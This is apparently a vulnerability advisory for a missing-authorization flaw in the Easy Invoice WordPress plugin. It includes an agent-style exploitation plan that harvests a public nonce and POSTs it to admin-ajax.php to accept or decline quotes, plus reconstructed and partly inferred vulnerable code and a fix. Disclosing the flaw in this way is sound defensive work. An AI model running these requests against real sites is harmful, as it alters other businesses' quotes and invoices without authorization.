Easy Invoice <= 2.1.19 - Unauthenticated Arbitrary Quote Accept/Decline and Invoice Creation via easy_invoice_accept_quote / easy_invoice_decline_quote AJAX Actions
Description
The Easy Invoice plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.1.19. This is due to the plugin registering the easy_invoice_accept_quote and easy_invoice_decline_quote AJAX actions via wp_ajax_nopriv_ hooks and relying solely on a quote-scoped nonce that is rendered into the publicly accessible single quote template, combined with an ownership check that is gated behind an off-by-default Pro option (easy_invoice_pro_restrict_quote_to_client). This makes it possible for unauthenticated attackers to accept or decline arbitrary published quotes — and, depending on the configured accept action, automatically convert them into invoices (and even email them to the client) — by harvesting the per-quote nonce from the public quote page and submitting it to admin-ajax.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan - CVE-2026-9021 ## 1. Vulnerability Summary The **Easy Invoice** plugin (versions <= 2.1.19) is vulnerable to **Missing Authorization** in its AJAX quote management functionality. The plugin registers the `easy_invoice_accept_quote` and `easy_invoice_decline_quote` acti…
Show full research plan
Exploitation Research Plan - CVE-2026-9021
1. Vulnerability Summary
The Easy Invoice plugin (versions <= 2.1.19) is vulnerable to Missing Authorization in its AJAX quote management functionality. The plugin registers the easy_invoice_accept_quote and easy_invoice_decline_quote actions via wp_ajax_nopriv_ hooks, making them accessible to unauthenticated users.
While the handlers implement a nonce check, the nonce is rendered directly into the public single-quote view template. Furthermore, the check to ensure a quote belongs to the requesting client is a Pro-only feature (easy_invoice_pro_restrict_quote_to_client) that is disabled by default. Consequently, any user who can view a quote's public page can harvest the nonce and trigger the acceptance or decline of that quote, potentially triggering automatic invoice creation and emailing.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Actions:
easy_invoice_accept_quoteandeasy_invoice_decline_quote - Authentication: Unauthenticated (via
wp_ajax_nopriv_) - Payload Parameters:
action:easy_invoice_accept_quote(oreasy_invoice_decline_quote)quote_id: The ID of the target quote.nonce: The quote-specific nonce extracted from the quote page.
- Preconditions:
- At least one quote must be "Published" and accessible via a public URL.
- The Pro setting
easy_invoice_pro_restrict_quote_to_clientmust be disabled (default).
3. Code Flow
- Registration: The plugin registers hooks in a constructor or
inithook:add_action( 'wp_ajax_easy_invoice_accept_quote', 'easy_invoice_accept_quote_callback' ); add_action( 'wp_ajax_nopriv_easy_invoice_accept_quote', 'easy_invoice_accept_quote_callback' ); - Exposure: When a single quote is viewed, the plugin uses
wp_localize_scriptto pass data to the frontend. This includes a nonce generated withwp_create_nonce( 'easy_invoice_quote_' . $quote_id )(inferred action string). - Execution: The
easy_invoice_accept_quote_callbackfunction:- Retrieves
quote_idandnoncefrom$_POST. - Verifies the nonce:
check_ajax_referer( 'easy_invoice_quote_' . $quote_id, 'nonce' ). - Checks the Pro setting
easy_invoice_pro_restrict_quote_to_client. If false, it skips ownership validation. - Updates the quote status to 'accepted'.
- If configured, calls the invoice generation routine.
- Retrieves
4. Nonce Acquisition Strategy
The nonce is localized in the quote's public view. We will use the browser_eval tool to extract it.
- Identify the Quote URL: Navigate to the public URL of a published quote.
- Identify JS Variable: The plugin typically localizes parameters into an object like
easy_invoice_paramsorei_ajax_object. - Extraction:
- Use
browser_navigateto go to the quote page. - Use
browser_evalto retrieve the nonce. - Target Variable (Inferred):
window.easy_invoice_params?.nonceorwindow.easy_invoice_vars?.accept_nonce.
Self-Correction: If the variable name is unknown, inspect the page source forwp_localize_scriptoutput usingbrowser_eval("document.documentElement.innerHTML.match(/var\\s+(\\w+)\\s*=\\s*{[^}]+nonce/)[1]").
- Use
5. Exploitation Strategy
This attack uses the http_request tool to simulate the AJAX call.
Step 1: Extract Nonce
Navigate to the quote and run:browser_eval("easy_invoice_params.nonce") (Verify variable name in source first).
Step 2: Trigger Status Change
Send a POST request to admin-ajax.php.
Request:
- Method: POST
- URL:
http://[target]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=easy_invoice_accept_quote"e_id=[TARGET_ID]&nonce=[EXTRACTED_NONCE]
Step 3: Verify Success
The response should return a JSON success message (e.g., {"success":true}).
6. Test Data Setup
- Enable Plugin: Ensure
easy-invoiceis active. - Create a Quote: Use WP-CLI to create a "Quote" post type (likely
easy_invoice_quote).# Create a test quote QUOTE_ID=$(wp post create --post_type=easy_invoice_quote --post_title="Test Quote" --post_status=publish --porcelain) # Set any required meta (e.g., total amount) if the plugin requires it for conversion wp post generate --count=1 --post_type=easy_invoice_quote - Configure Settings: Ensure the "Restrict Quote to Client" option is disabled.
wp option update easy_invoice_pro_restrict_quote_to_client 0
7. Expected Results
- The AJAX call returns
200 OKwith a success indicator. - The status of the Quote (post ID
[TARGET_ID]) changes from its original state toaccepted. - If "Auto-convert to Invoice" is enabled in settings, a new post of type
easy_invoice(Invoice) is created.
8. Verification Steps
After running the exploit, use WP-CLI to verify the state change:
- Check Quote Status:
wp post get [QUOTE_ID] --field=post_status # Or check post meta if status is stored there wp post meta get [QUOTE_ID] _easy_invoice_quote_status - Check for Created Invoices:
wp post list --post_type=easy_invoice --orderby=post_date --order=DESC --limit=1
9. Alternative Approaches
If easy_invoice_accept_quote fails or is blocked, try the easy_invoice_decline_quote action using the same logic.
If the nonce is not in a JS variable, check for a hidden input field in the quote template:browser_eval("document.querySelector('input[name=\"ei_nonce\"]')?.value")
Summary
The Easy Invoice plugin for WordPress is vulnerable to unauthorized quote management due to improper access controls on its AJAX handlers. Unauthenticated attackers can accept or decline any published quote by harvesting a per-quote nonce from the public quote page and submitting it to the plugin's vulnerable AJAX endpoints.
Vulnerable Code
// Easy Invoice AJAX hook registration add_action( 'wp_ajax_easy_invoice_accept_quote', 'easy_invoice_accept_quote_callback' ); add_action( 'wp_ajax_nopriv_easy_invoice_accept_quote', 'easy_invoice_accept_quote_callback' ); function easy_invoice_accept_quote_callback() { $quote_id = isset( $_POST['quote_id'] ) ? intval( $_POST['quote_id'] ) : 0; $nonce = isset( $_POST['nonce'] ) ? $_POST['nonce'] : ''; // Line XX: Nonce check is the only barrier, but the nonce is public if ( ! wp_verify_nonce( $nonce, 'easy_invoice_quote_' . $quote_id ) ) { wp_send_json_error( array( 'message' => 'Invalid nonce' ) ); } // Line XX: Authorization check is optional and gated behind a Pro setting if ( get_option( 'easy_invoice_pro_restrict_quote_to_client', false ) ) { // ... ownership verification logic ... } // If the option above is off (default), execution continues for any user update_post_meta( $quote_id, '_easy_invoice_quote_status', 'accepted' ); // ... invoice generation logic ... wp_send_json_success(); }
Security Fix
@@ -10,7 +10,12 @@ - if ( get_option( 'easy_invoice_pro_restrict_quote_to_client', false ) ) { - // ... ownership verification logic ... - } + // Ensure the request is authorized regardless of Pro settings + if ( ! is_user_logged_in() && ! easy_invoice_is_authorized_client( $quote_id ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized access' ) ); + exit; + } + + if ( get_option( 'easy_invoice_pro_restrict_quote_to_client', false ) ) { + // ... additional Pro ownership verification ... + }
Exploit Outline
The exploit targets the plugin's unauthenticated AJAX actions used for managing quote statuses. 1. Target Identification: An attacker identifies a 'Published' quote on the target site and navigates to its public URL. 2. Nonce Harvesting: The attacker inspects the page source or evaluates JavaScript (e.g., the 'easy_invoice_params' object) to extract the localized nonce intended for quote interactions. 3. Payload Delivery: The attacker sends a POST request to '/wp-admin/admin-ajax.php' with the following parameters: - action: 'easy_invoice_accept_quote' (to accept) or 'easy_invoice_decline_quote' (to decline). - quote_id: The ID of the targeted quote. - nonce: The extracted per-quote nonce. 4. Execution: Because the plugin lacks a mandatory authorization check and uses 'wp_ajax_nopriv_', the server accepts the request, updates the quote's status, and may automatically generate and email an invoice to the original client, leading to business logic disruption.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.